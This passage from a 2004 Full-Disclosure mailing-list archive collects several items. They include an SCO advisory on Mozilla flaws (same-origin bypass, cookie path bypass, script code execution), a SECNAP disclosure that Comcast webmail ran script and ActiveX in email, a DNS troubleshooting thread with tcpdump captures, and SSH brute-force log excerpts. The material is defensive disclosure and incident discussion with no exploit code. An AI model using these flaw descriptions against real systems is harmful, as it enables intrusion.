        Jesse Ruderman has reported a same origin policy violation vulnerability
        in Mozilla. It has been reported that custom getter/setter objects do
        not possess a check for the Same Origin Policy. This may allow the
        object to be invoked to gain access to properties of another domain in
        a frame or iframe.

Mozilla URI Sub-Directory Arbitrary Cookie Access Vulnerability

        Stephen P. Morse discovered a problem in the behavior of the cookie
        handling in Mozilla. If similar path attributes exist in two separate
        cookies, it may be possible for a site to gain unauthorized access to
        cookies issued by another site in the same domain. The correct behavior
        is to restrict this type of access based both on domain and exact path
        attribute information.

Mozilla Browser Cookie Path Restriction Bypass Vulnerability

        Daniel Veditz has reported a vulnerability in Mozilla where a malicious
        site may read cookies from unauthorized paths due to a lack of
        sufficient sanitization performed on cookie paths. A malicious cookie
        path containing certain escape sequence will reportedly bypass cookie
        path access controls.

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CAN-2003-0594 to this issue.

Mozilla Browser Script.prototype.freeze/thaw Arbitrary Code Execution

        Brendan Eich has reported a vulnerability in Mozilla that may permit
        remote attackers to execute arbitrary code. The issue is in the
        JavaScript Script.prototype.freeze/thaw functionality. An attacker with
        knowledge of JavaScript bytecode and JavaScript engine internals, as
        well as the native architecture of a client system may theoretically
        cause arbitrary code to be executed.

2. Vulnerable Supported Versions

        System Binaries
        ----------------------------------------------------------------------
        OpenServer 5.0.7 Mozilla distribution

3. Solution

The proper solution is to install the latest packages.

4. OpenServer 5.0.7

4.1 Location of Fixed Binaries

ftp://ftp.sco.com/pub/openserver5/507/mp/mp3/507mp3_vol.tar

4.2 Verification

MD5 (507mp3_vol.tar) = c927aefdd50b50aca5d29e08c1562aec

md5 is available for download from
ftp://ftp.sco.com/pub/security/tools

4.3 Installing Fixed Binaries

Read the Maintenance Pack 3 Release and Installation Notes at

ftp://ftp.sco.com/pub/openserver5/507/mp/mp3/osr507mp3.txt

5. References

        Specific references for this advisory:
                http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0594
                http://www.securityfocus.com/bid/9322
                http://www.securityfocus.com/bid/9323
                http://www.securityfocus.com/bid/9325
                http://www.securityfocus.com/bid/9326
                http://www.securityfocus.com/bid/9328
                http://www.securityfocus.com/bid/9330

SCO security resources:
http://www.sco.com/support/security/index.html

SCO security advisories via email
http://www.sco.com/support/forums/security.html

This security fix closes SCO incidents sr889065 fz528708
erg712531.

6. Disclaimer

        SCO is not responsible for the misuse of any of the information
        we provide on this website and/or through our security
        advisories. Our advisories are a service to our customers
        intended to promote secure installation and use of SCO
        products.

7. Acknowledgments

SCO would like to thank Jesse Ruderman, Darin Fisher, Stephen P. Morse,
Daniel Veditz, Brendan Eich, and the Mozilla team.

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (SCO/UNIX_SVR5)

iD8DBQFBACHcaqoBO7ipriERAtsFAJ9OYWMxcrqGEXbO3jE3ej1M2x9FVQCfS7FJ
Tj7sYxhkzoA2XkRI6cv0Nes=
=wLKz
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: FW: [Full-Disclosure] Question for DNS pros

From: Paul Schmehl (paulsutdallas.edu)
Date: Sun Jul 25 2004 - 13:57:53 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

--On Saturday, July 24, 2004 10:16 AM -0500 Suzi and Harold VanPatten
<vanpattensknology.net> wrote:

>
> It seems to me you could do this without setting up a dns server. Just
> tcpdump the traffic or sniff or snoop the traffic. It you set it up with
> a snaplength of 1500 you'll get enough of the packet to see exactly what
> dns query is being asked...something like
> tcpdump -n -s 1500 udp and port 53 and host 1.2.3.4
>
And
--On Sunday, July 25, 2004 11:41 AM +0200 Paul Rolland <rolwitbe.net>
wrote:
>
> Update your tcpdump or verify the syntax.
> I just tried :
>
> tcpdump -v -s 1500 -n udp port 53
>
> on our NS server, and it shows the complete details of the request.
>
> 09:38:50.669060 eth0 < 67.166.39-62.rev.gaoland.net.3746 >
> sim-01.PAR.witbe.net.domain: 34277+ PTR? 250.92.168.192.in-addr.arpa. (45)
> (DF) (ttl 61, id 145)

For the last time, I have *already* done this. With both a snaplen of 1024
and a snaplen of 4096. It *hasn't* produced anything useful unless someone
thinks *this* is useful (I'm using tcpdump on FreeBSD 4.9 RELEASE.):

tcpdump -c 100 -xX -s 4069 -i xl0 -p -w x.x.dump 'udp && host x.x.x.x &&
port 53' (Our IP has been changed to x.x.x.x)

I've altered the real hostname on our network to "targethost" and altered
the querying IP to x.x.x.x for privacy reasons. All these queries are
*from* the same host. This pattern is *typical* of what I'm seeing from a
*number of diverse hosts* from all over the world.

22:06:10.294071 x.x.x.x.2566 > targethost.utdallas.edu.domain: 29462 NS? .
(17)
22:06:11.043050 x.x.x.x.2566 > targethost.utdallas.edu.domain: 29463 NS? .
(17)
22:06:11.791218 x.x.x.x.2566 > targethost.utdallas.edu.domain: 29464 NS? .
(17)
22:06:13.298805 x.x.x.x.2566 > targethost.utdallas.edu.domain: 30290 PTR?
63.37.110.129.in-addr.arpa. (44)
22:06:14.052600 x.x.x.x.2566 > targethost.utdallas.edu.domain: 30291 PTR?
63.37.110.129.in-addr.arpa. (44)
22:06:14.799270 x.x.x.x.2566 > targethost.utdallas.edu.domain: 30292 PTR?
63.37.110.129.in-addr.arpa. (44)
22:06:15.775488 x.x.x.x.2566 > targethost.utdallas.edu.domain: 30818 NS? .
(17)
22:06:16.526565 x.x.x.x.2566 > targethost.utdallas.edu.domain: 30819 NS? .
(17)
22:06:17.277716 x.x.x.x.2566 > targethost.utdallas.edu.domain: 30820 NS? .
(17)
22:06:18.776723 x.x.x.x.2566 > targethost.utdallas.edu.domain: 31424 PTR?
63.37.110.129.in-addr.arpa. (44)

Comparing "real" queries to a functioning nameserver to what I'm trying to
figure out is apples to oranges. If these *were* real queries, I wouldn't
even have posted this here. I would have already figured it out.

It really would help if folks would *read* the list before replying.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] Comcast(tm) Email Manager allows arbitrary java and activex code execution

From: Michael Scheidell (scheidellsecnap.net)
Date: Thu Jul 22 2004 - 10:36:07 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Vulnerability in Comcast Webmail Manager allows arbitrary java and activex code execution
Systems: Comcast Webmail email system. www.comcast.net
Vulnerable: X-Mailer: AT&T Message Center Version 1 (Mar 22 2004)
Not Vulnerable: Unknown
Severity: Serious / Low (Fixed now)
Category: Arbitrary Execution of Code of Hackers Choice
Classification: Input Validation Error
BugTraq-ID: TBA
CVE-Number: TBA
Remote Exploit: yes
Local Exploit: no
Vendor URL: www.comcast.net
Author: Michael S. Scheidell, SECNAP Network Security
Original Release date: April 7, 2004
Notifications: Comcast notified April 7, 2004
Public Release date: July 22, 2004

Discussion: from www.comcast.com
High-Speed Internet. This is the fastest way to travel the Web! It's cable-powered, so it's always connected and you won't tie up your phone lines. It's a faster, more powerful and more convenient Internet experience.

Note: This is not so much a warning to Comcast or their users, since Comcast has fixed this problem, but more of a warning to every developer or CSIO to make sure that web based email, blogs, information, memos must check their code to make sure it is safe. See additional notifications of similar problems with GoldMine(tm) http://www.secnap.com/security/gm001.html, and sprintmail picture mail at http://www.secnap.com/security/030711.html

Problem: There was a potential for hackers to use this vulnerability to specially craft emails that will run random code of their choice on users' computers - including remote Trojans, irc zombies, spyware, malware, and remote key loggers. This program would run inside the corporate network, behind the firewall and access anything the infected user has access to.

The Comcast Webmail did not run the html email in the 'security zone' as does Microsoft(tm) Outlook, but passed anything that looks like HTML to be executed unrestricted directly to the default Browser (usually IE). Linux/or Unix users with Netscape may have the javascript, page redirection and popup email run, however, the activeX component will not run.

Comcast users have the option of using Comcast Webmail or Outlook Express. Because of the inability to disable html/java/or active-x in Comcast Webmail, those using Webmail had an increased chance of their computers' becoming infected in the event of a potential hacker either a) referencing active-x controls or b) including javascript within an HTML e-mail message.

The above has been tested on a Windows(tm) 2000 system with service pack 4, all Internet Explorer patches and default (factory) Internet zone security settings. Also tested were two Windows XP(tm) systems with service pack 1 and all patches as well as Netscape 7.1 on Linux.

The security community first became aware of the potential for this kind of threat about two years ago. Software companies that produce Web-based email, blog or input system must check for arbitrary java and html code. Note: the original Web Mail system was written by AT&T and was inherited by Comcast during their purchase of AT&T's broadband business.

Exploit: No exploit is necessary, as there are already examples in viruses and trojans that were designed to attack Microsoft Outlook and Outlook Express.

Microsoft fixed these by patching both readers and allowing the user to set the security zone for reading HTML email in the 'insecure' settings.

To see an exhaustive list of what can happen when email is passed to IE, see <http://www.guninski.com/browsers.html>

Vendor Response: April 7, 2004. A Comcast representative called our office immediately. Comcast worked quickly on fixing this bug and rolling it out to their servers, with a solution in place by April 13, 2004. Release of this notification was held back waiting for Comcast to decide how and when to self-release.

Solution:
Comcast is now filtering out various forms of scripting.

Credit:
Michael Scheidell, SECNAP Network Security, www.secnap.com
The original problem with IIE, Microsoft Outlook and Outlook Express was found by George Grunski and involved insecure default reading of a malformed HTML in Outlook and OE and insecure running of HTML (see <http://www.guninski.com/browsers.html>) And thanks to Johannes B. Ullrich, CTO SANS Internet Storm Center for assistance.

Original copy of this report can be found here
<http://www.secnap.com/security/20040406.html>

This security report can be copied and redistributed electronically provided it is not edited and is quoted in its entirety without written consent of SECNAP Network Security Corporation. Additional information or permission may be obtained by contacting SECNAP Network Security at 561-999-5000

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Question for DNS pros

From: Nils Ketelsen (nilsdruecke.strg-alt-entf.org)
Date: Fri Jul 23 2004 - 15:32:46 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Fri, Jul 23, 2004 at 12:32:28PM -0500, Paul Schmehl wrote:
> Can this be done?
>
> Conditions:
> 1) You know an IP address that is running a DNS server. (IOW, it responds
> to digs.)
> 2) You do not know the hostname or domain of the host.
> 3) The DNS server does not allow zone transfers.
>
> You want to find out *all* the domains that that DNS server is
> authoritative for. (Essentially you're trying to find out what's in the
> named.conf file rather than zone file info.)

Florian Weimer has an interesting project for exactly that. By analyzing all
request and replies to a resolver and writing the results into a database he
gets a system to allow this kind of inverse-queries (I avoid using the term
reverse queries because of the confusion this might cause with reverse
lookups).

Basically this allows you to say "for what hosts did I get replies from the
nameser xyz?". This does not give you all zones of the nameserver, but only
those which at least were requested once by the resolver you are looking at.
Given enough resolvers gathering this data this might allow a fairly big
overview though.

I do not know wether is tool is available to the public yet, though. Maybe
he can say something about it (Florian is also reading here). I have not yet
figured out, what I might use this tool for, but I think it will allow for
interesting things regarding filtering solutions. And it is a nice hack.

Nils
--
Gibt's eigentlich auch schon emacs-Einbauküchen?

[nico.hoffmannphysik.tu-chemnitz.de (Nico Hoffmann)
zum Thema "vi-Tassen" in de.alt.arnooo]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Question for DNS pros

From: Steffen Schumacher (sschwheel.dk)
Date: Sat Jul 24 2004 - 05:02:04 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On 23.07.2004 17:11:10 +0000, Paul Schmehl wrote:
> --On Friday, July 23, 2004 09:50:44 PM +0200 Olivergreyhat.de wrote:
> >
> >hm... you could also try reverse lookups for all existing ip-adresses in
> >the world :)
> >
> Well, no, because that wouldn't solve the problem.
>
> A host on our network is being queried quite regularly on udp/53 by other
> hosts. A review of the packets reveals that these other hosts believe that
> our host is a dns server. (AAMOF the IP address isn't even in use at the
> present time.)
>
> Now, if you do a reverse lookup for that IP, *our* DNS servers, which are
> authoritative for our network will tell you what the hostname is. But that
> isn't what I want to know. Obviously, a simple dig -x IP will tell me that.
>
> What I want to know is *why* do these "foreign" hosts think an IP on my
> network is serving DNS when there's not even a host at that address.
>
> I can think of two possibilities:
>
> 1) At some time in the past, a host *was* serving DNS at that address and
> some "foreign" hosts have cached the address.
> 2) Someone somewhere has registered a domain and used our IP address for
> one of their "nameservers" in the registration.
>

DHCP telling the hosts to use that DNS server?
Do you use DHCP? If so, check the config, if it is in the clear, there may be
a rouge DHCP server popping up once in a while. To check for this you should
check your DHCP logs.

Just a suggestion..

/Steffen

> (If anyone can think of other explanations, please let me know.)
>
> Now how is a reverse lookup going to help you with that? It would be
> trivial to write a perl script that did reverse lookups for every IP on the
> Internet and wrote the responses to a comma delimited file, but the
> resulting file would be useless to solve the problem that I'm trying to
> solve.
>
> And for those who were thinking "just do a tcpdump", here's what *that*
> looks like - no domain info there -
>
> 17:01:44.646943 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 48072 NS? .
> (17)
> 17:01:45.386919 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 48073 NS? .
> (17)
> 17:01:46.153402 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 48074 NS? .
> (17)
> 17:01:47.657898 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 1084 PTR?
> 63.37.110.129.in-addr.arpa. (44)
> 17:01:48.399150 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 1085 PTR?
> 63.37.110.129.in-addr.arpa. (44)
> 17:01:49.144398 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 1086 PTR?
> 63.37.110.129.in-addr.arpa. (44)
>
> The best suggestion yet has been to set up a name server at that address
> with verbose logging. That's probably what I will do next week.
>
> Paul Schmehl (paulsutdallas.edu)
> Adjunct Information Security Officer
> The University of Texas at Dallas
> AVIEN Founding Member
> http://www.utdallas.edu/ir/security/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Question for DNS pros

From: Jason Coombs PivX Solutions (jcoombsPivX.com)
Date: Sun Jul 25 2004 - 14:51:58 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Interesting discussion. There should be more DNS validation performed in the real world. We know what we're putting into DNS with respect to the domains we control, but the only time we find out about bad responses coming out at network endpoints is when we see the bad data ourselves or end users have problems. A MITM who poisons or hijacks DNS is going to ensure that the end user doesn't have problems that would cause them to complain to tech support or a webmaster, which makes it even more important to proactively detect DNS tampering.

I wrote a couple articles on this subject not long ago. See:

Forensic Data Validation and Integrity Logging

http://www.ddj.com/documents/s=9207/win1069286014914/

Sincerely,

Jason Coombs
JcoombsPivX.com

-----Original Message-----
From: Paul Schmehl <paulsutdallas.edu>
Date: Fri, 23 Jul 2004 17:11:10
To:full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Question for DNS pros

--On Friday, July 23, 2004 09:50:44 PM +0200 Olivergreyhat.de wrote:
>
> hm... you could also try reverse lookups for all existing ip-adresses in
> the world :)
>
Well, no, because that wouldn't solve the problem.

A host on our network is being queried quite regularly on udp/53 by other
hosts. A review of the packets reveals that these other hosts believe that
our host is a dns server. (AAMOF the IP address isn't even in use at the
present time.)

Now, if you do a reverse lookup for that IP, *our* DNS servers, which are
authoritative for our network will tell you what the hostname is. But that
isn't what I want to know. Obviously, a simple dig -x IP will tell me that.

What I want to know is *why* do these "foreign" hosts think an IP on my
network is serving DNS when there's not even a host at that address.

I can think of two possibilities:

1) At some time in the past, a host *was* serving DNS at that address and
some "foreign" hosts have cached the address.
2) Someone somewhere has registered a domain and used our IP address for
one of their "nameservers" in the registration.

(If anyone can think of other explanations, please let me know.)

Now how is a reverse lookup going to help you with that? It would be
trivial to write a perl script that did reverse lookups for every IP on the
Internet and wrote the responses to a comma delimited file, but the
resulting file would be useless to solve the problem that I'm trying to
solve.

And for those who were thinking "just do a tcpdump", here's what *that*
looks like - no domain info there -

17:01:44.646943 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 48072 NS? .
(17)
17:01:45.386919 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 48073 NS? .
(17)
17:01:46.153402 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 48074 NS? .
(17)
17:01:47.657898 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 1084 PTR?
63.37.110.129.in-addr.arpa. (44)
17:01:48.399150 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 1085 PTR?
63.37.110.129.in-addr.arpa. (44)
17:01:49.144398 x.x.x.x.17388 > xxxxxx.utdallas.edu.domain: 1086 PTR?
63.37.110.129.in-addr.arpa. (44)

The best suggestion yet has been to set up a name server at that address
with verbose logging. That's probably what I will do next week.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/ir/security/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [ok] [Full-Disclosure] Possible Virus/Trojan

From: Curt Purdy (purdytecman.com)
Date: Sun Jul 25 2004 - 14:06:55 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Todd Towles wrote:
> I received an e-mail today that looked very much like a virus. Here is the
message
>
> Attachment - erupts.avi.exe

> Subject - New Southern California wildfire erupts

<snip> .

> Either this is a new Trojan that changes it body and subject based on the
current AP news or someone used a very lame trick against me. =)

I'm guessing the latter. Although story scraping would be possible,
intellegent naming of the .exe would not be. Most likely a friend... or
enemy.

Curt Purdy CISSP, GSEC, MCSE+I, CNE, CCDA
Information Security Engineer
DP Solutions

----------------------------------------

If you spend more on coffee than on IT security, you will be hacked.
What's more, you deserve to be hacked.
-- former White House cybersecurity adviser Richard Clarke

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] one new trojan

From: Ben Lambrey (ben.lambreypandora.be)
Date: Sat Jul 24 2004 - 14:34:49 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Saturday July 24 2004 20:55, Willem Koenings wrote:
> hi,
>
> > NAV does recognise it as Trojan.ByteVerify.
>
> do you talk about those java components or about web.exe?
> those java components are indeed recognized, as byteverify
> vulnerability is old enough and in this context java is
> used only as privilege escalation and execution of the
> included web.exe. but web.exe is something new...
>
>

only the java components, the .exe is not recognised.

--
ben.lambreypandora.be (ON1ALD)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Andrei Galca-Vasiliu (andreifq.ro)
Date: Sun Jul 25 2004 - 14:31:28 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

I've seen that too, on several machines, different range of ip's. I guess it`s
some sort of a mass bruteforce exploit (there were 50 or more attempts on my
box in just 20-30 s). Anyone who can enlighten us, it will be appreciated,
i've searched too and couldn't find anything related.

Intr-un mail de pe data de Thursday 22 July 2004 17:47, Jay Libove povestea:
> [ Posted to full disclosure and vulnwatch; please edit reply address(es)
> as appropriate. Thanks. -Jay ]
>
> My Linux system, and a Linux system run by a friend here in the same city
> but on a completely different netblock (different ISP), have both seen
> apparently automated attempts to log in to our systems via SSH in the past
> few days. Looks like a script.
>
>
> Here are some log entries from my system:
>
> Jul 15 10:01:34 panther6 sshd[8267]: Illegal user test from 62.67.45.4
> Jul 15 10:01:34 panther6 sshd[8267]: Failed password for illegal user test
> from 62.67.45.4 port 39141 ssh2 Jul 15 10:01:36 panther6 sshd[8269]:
> Illegal user guest from 62.67.45.4 Jul 15 10:01:36 panther6 sshd[8269]:
> Failed password for illegal user guest from 62.67.45.4 port 39192 ssh2 Jul
> 15 10:01:37 panther6 sshd[8271]: Illegal user admin from 62.67.45.4 Jul 15
> 10:01:37 panther6 sshd[8271]: Failed password for illegal user admin from
> 62.67.45.4 port 39234 ssh2 Jul 15 10:01:38 panther6 sshd[8273]: Illegal
> user user from 62.67.45.4 Jul 15 10:01:38 panther6 sshd[8273]: Failed
> password for illegal user user from 62.67.45.4 port 39275 ssh2 Jul 15
> 10:01:39 panther6 sshd[8275]: Failed password for root from 62.67.45.4 port
> 39340 ssh2 Jul 15 10:01:41 panther6 sshd[8277]: Failed password for root
> from 62.67.45.4 port 39386 ssh2 Jul 15 10:44:12 panther6 sshd[8300]:
> Illegal user test from 62.67.45.4 Jul 15 10:44:12 panther6 sshd[8300]:
> Failed password for illegal user test from 62.67.45.4 port 33771 ssh2 Jul
> 15 10:44:14 panther6 sshd[8302]: Illegal user guest from 62.67.45.4 Jul 15
> 10:44:14 panther6 sshd[8302]: Failed password for illegal user guest from
> 62.67.45.4 port 33828 ssh2 Jul 15 10:44:15 panther6 sshd[8304]: Illegal
> user admin from 62.67.45.4 Jul 15 10:44:15 panther6 sshd[8304]: Failed
> password for illegal user admin from 62.67.45.4 port 33876 ssh2 Jul 15
> 10:44:16 panther6 sshd[8306]: Illegal user user from 62.67.45.4 Jul 15
> 10:44:16 panther6 sshd[8306]: Failed password for illegal user user from
> 62.67.45.4 port 33916 ssh2 Jul 15 10:44:17 panther6 sshd[8308]: Failed
> password for root from 62.67.45.4 port 33988 ssh2 Jul 15 10:44:19 panther6
> sshd[8310]: Failed password for root from 62.67.45.4 port 34032 ssh2 Jul 15
> 17:07:15 panther6 sshd[8912]: Illegal user test from 131.234.36.152 Jul 15
> 17:07:15 panther6 sshd[8912]: Failed password for illegal user test from
> 131.234.36.152 port 38287 ssh2 Jul 15 17:07:16 panther6 sshd[8914]: Illegal
> user guest from 131.234.36.152 Jul 15 17:07:16 panther6 sshd[8914]: Failed
> password for illegal user guest from 131.234.36.152 port 38326 ssh2 Jul 15
> 17:07:18 panther6 sshd[8916]: Illegal user admin from 131.234.36.152 Jul 15
> 17:07:18 panther6 sshd[8916]: Failed password for illegal user admin from
> 131.234.36.152 port 38370 ssh2 Jul 15 17:07:19 panther6 sshd[8918]: Illegal
> user admin from 131.234.36.152 Jul 15 17:07:19 panther6 sshd[8918]: Failed
> password for illegal user admin from 131.234.36.152 port 38412 ssh2 Jul 15
> 17:07:21 panther6 sshd[8920]: Illegal user user from 131.234.36.152 Jul 15
> 17:07:21 panther6 sshd[8920]: Failed password for illegal user user from
> 131.234.36.152 port 38468 ssh2 Jul 15 17:07:22 panther6 sshd[8922]: Failed
> password for root from 131.234.36.152 port 38516 ssh2 Jul 15 17:07:23
> panther6 sshd[8924]: Failed password for root from 131.234.36.152 port
> 38558 ssh2 Jul 15 17:07:25 panther6 sshd[8926]: Failed password for root
> from 131.234.36.152 port 38611 ssh2 Jul 15 17:07:26 panther6 sshd[8928]:
> Illegal user test from 131.234.36.152 Jul 15 17:07:26 panther6 sshd[8928]:
> Failed password for illegal user test from 131.234.36.152 port 38675 ssh2
> Jul 19 22:05:07 panther6 sshd[30439]: Illegal user test from 83.103.27.66
> Jul 19 22:05:07 panther6 sshd[30439]: Failed password for illegal user test
> from 83.103.27.66 port 52671 ssh2 Jul 19 22:05:08 panther6 sshd[30441]:
> Illegal user guest from 83.103.27.66 Jul 19 22:05:08 panther6 sshd[30441]:
> Failed password for illegal user guest from 83.103.27.66 port 52687 ssh2
> Jul 21 06:30:12 panther6 sshd[1103]: Illegal user test from 219.103.193.130
> Jul 21 06:30:12 panther6 sshd[1103]: Failed password for illegal user test
> from 219.103.193.130 port 55802 ssh2 Jul 21 06:30:14 panther6 sshd[1105]:
> Illegal user guest from 219.103.193.130 Jul 21 06:30:14 panther6
> sshd[1105]: Failed password for illegal user guest from 219.103.193.130
> port 55823 ssh2
>
>
> .. and some log entries from my friend's system:
>
> Jul 19 21:04:33 quack sshd[28379]: Illegal user test from 131.234.157.10
> Jul 19 21:04:34 quack sshd[28381]: Illegal user guest from 131.234.157.10
> Jul 19 21:04:36 quack sshd[28383]: Illegal user admin from 131.234.157.10
> Jul 19 21:04:37 quack sshd[28385]: Illegal user admin from 131.234.157.10
> Jul 19 21:04:38 quack sshd[28387]: Illegal user user from 131.234.157.10
> Jul 19 21:04:43 quack sshd[28400]: Illegal user test from 131.234.157.10
> Jul 22 09:39:10 quack sshd[7646]: Illegal user test from 156.17.99.11
> Jul 22 09:39:11 quack sshd[7648]: Illegal user guest from 156.17.99.11
>
>
> I have not seen any notes about this on the vulnerability disucssion
> lists. Has anyone else noticed it? What specific vulnerability (or
> default password?) is this looking for?
>
> -Jay Libove, CISSP
> libovefelines.org
> Atlanta, GA US
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

--
Andrei Galca-Vasiliu
Technical Support
Brasov Branch
Romania Data Systems
T: +402 68 474133 F: +402 68 474133
www.rdsnet.ro
--
Privileged/Confidential Information may be contained in this message.
If you are not the addressee indicated in this message (or responsable
for delivery of the message to such person), you may not copy or
deliver this message to anyone. In such a case, you should destroy
this message and kindly notify the sender by reply e-mail.
--

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Automated SSH login attempts?

From: Harry Hoffman (hhoffmanip-solutions.net)
Date: Sun Jul 25 2004 - 16:19:04 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Jay,

Seeing these attempts on both work and home systems.

HTH,
Harry

Jay Libove wrote:

>[ Posted to full disclosure and vulnwatch; please edit reply address(es)
>as appropriate. Thanks. -Jay ]
>
>My Linux system, and a Linux system run by a friend here in the same city
>but on a completely different netblock (different ISP), have both seen
>apparently automated attempts to log in to our systems via SSH in the past
>few days. Looks like a script.
>
>
>Here are some log entries from my system:
>
>Jul 15 10:01:34 panther6 sshd[8267]: Illegal user test from 62.67.45.4
>Jul 15 10:01:34 panther6 sshd[8267]: Failed password for illegal user test from 62.67.45.4 port 39141 ssh2
>Jul 15 10:01:36 panther6 sshd[8269]: Illegal user guest from 62.67.45.4
>Jul 15 10:01:36 panther6 sshd[8269]: Failed password for illegal user guest from 62.67.45.4 port 39192 ssh2
>Jul 15 10:01:37 panther6 sshd[8271]: Illegal user admin from 62.67.45.4
>Jul 15 10:01:37 panther6 sshd[8271]: Failed password for illegal user admin from 62.67.45.4 port 39234 ssh2
>Jul 15 10:01:38 panther6 sshd[8273]: Illegal user user from 62.67.45.4
>Jul 15 10:01:38 panther6 sshd[8273]: Failed password for illegal user user from 62.67.45.4 port 39275 ssh2
>Jul 15 10:01:39 panther6 sshd[8275]: Failed password for root from 62.67.45.4 port 39340 ssh2
>Jul 15 10:01:41 panther6 sshd[8277]: Failed password for root from 62.67.45.4 port 39386 ssh2
>Jul 15 10:44:12 panther6 sshd[8300]: Illegal user test from 62.67.45.4
>Jul 15 10:44:12 panther6 sshd[8300]: Failed password for illegal user test from 62.67.45.4 port 33771 ssh2
>Jul 15 10:44:14 panther6 sshd[8302]: Illegal user guest from 62.67.45.4
>Jul 15 10:44:14 panther6 sshd[8302]: Failed password for illegal user guest from 62.67.45.4 port 33828 ssh2
>Jul 15 10:44:15 panther6 sshd[8304]: Illegal user admin from 62.67.45.4
>Jul 15 10:44:15 panther6 sshd[8304]: Failed password for illegal user admin from 62.67.45.4 port 33876 ssh2
>Jul 15 10:44:16 panther6 sshd[8306]: Illegal user user from 62.67.45.4
>Jul 15 10:44:16 panther6 sshd[8306]: Failed password for illegal user user from 62.67.45.4 port 33916 ssh2
>Jul 15 10:44:17 panther6 sshd[8308]: Failed password for root from 62.67.45.4 port 33988 ssh2
>Jul 15 10:44:19 panther6 sshd[8310]: Failed password for root from 62.67.45.4 port 34032 ssh2
>Jul 15 17:07:15 panther6 sshd[8912]: Illegal user test from 131.234.36.152
>Jul 15 17:07:15 panther6 sshd[8912]: Failed password for illegal user test from 131.234.36.152 port 38287 ssh2
>Jul 15 17:07:16 panther6 sshd[8914]: Illegal user guest from 131.234.36.152
>Jul 15 17:07:16 panther6 sshd[8914]: Failed password for illegal user guest from 131.234.36.152 port 38326 ssh2
>Jul 15 17:07:18 panther6 sshd[8916]: Illegal user admin from 131.234.36.152
>Jul 15 17:07:18 panther6 sshd[8916]: Failed password for illegal user admin from 131.234.36.152 port 38370 ssh2
>Jul 15 17:07:19 panther6 sshd[8918]: Illegal user admin from 131.234.36.152
>Jul 15 17:07:19 panther6 sshd[8918]: Failed password for illegal user admin from 131.234.36.152 port 38412 ssh2
>Jul 15 17:07:21 panther6 sshd[8920]: Illegal user user from 131.234.36.152
>Jul 15 17:07:21 panther6 sshd[8920]: Failed password for illegal user user from 131.234.36.152 port 38468 ssh2
>Jul 15 17:07:22 panther6 sshd[8922]: Failed password for root from 131.234.36.152 port 38516 ssh2
>Jul 15 17:07:23 panther6 sshd[8924]: Failed password for root from 131.234.36.152 port 38558 ssh2
>Jul 15 17:07:25 panther6 sshd[8926]: Failed password for root from 131.234.36.152 port 38611 ssh2
>Jul 15 17:07:26 panther6 sshd[8928]: Illegal user test from 131.234.36.152
>Jul 15 17:07:26 panther6 sshd[8928]: Failed password for illegal user test from 131.234.36.152 port 38675 ssh2
>Jul 19 22:05:07 panther6 sshd[30439]: Illegal user test from 83.103.27.66
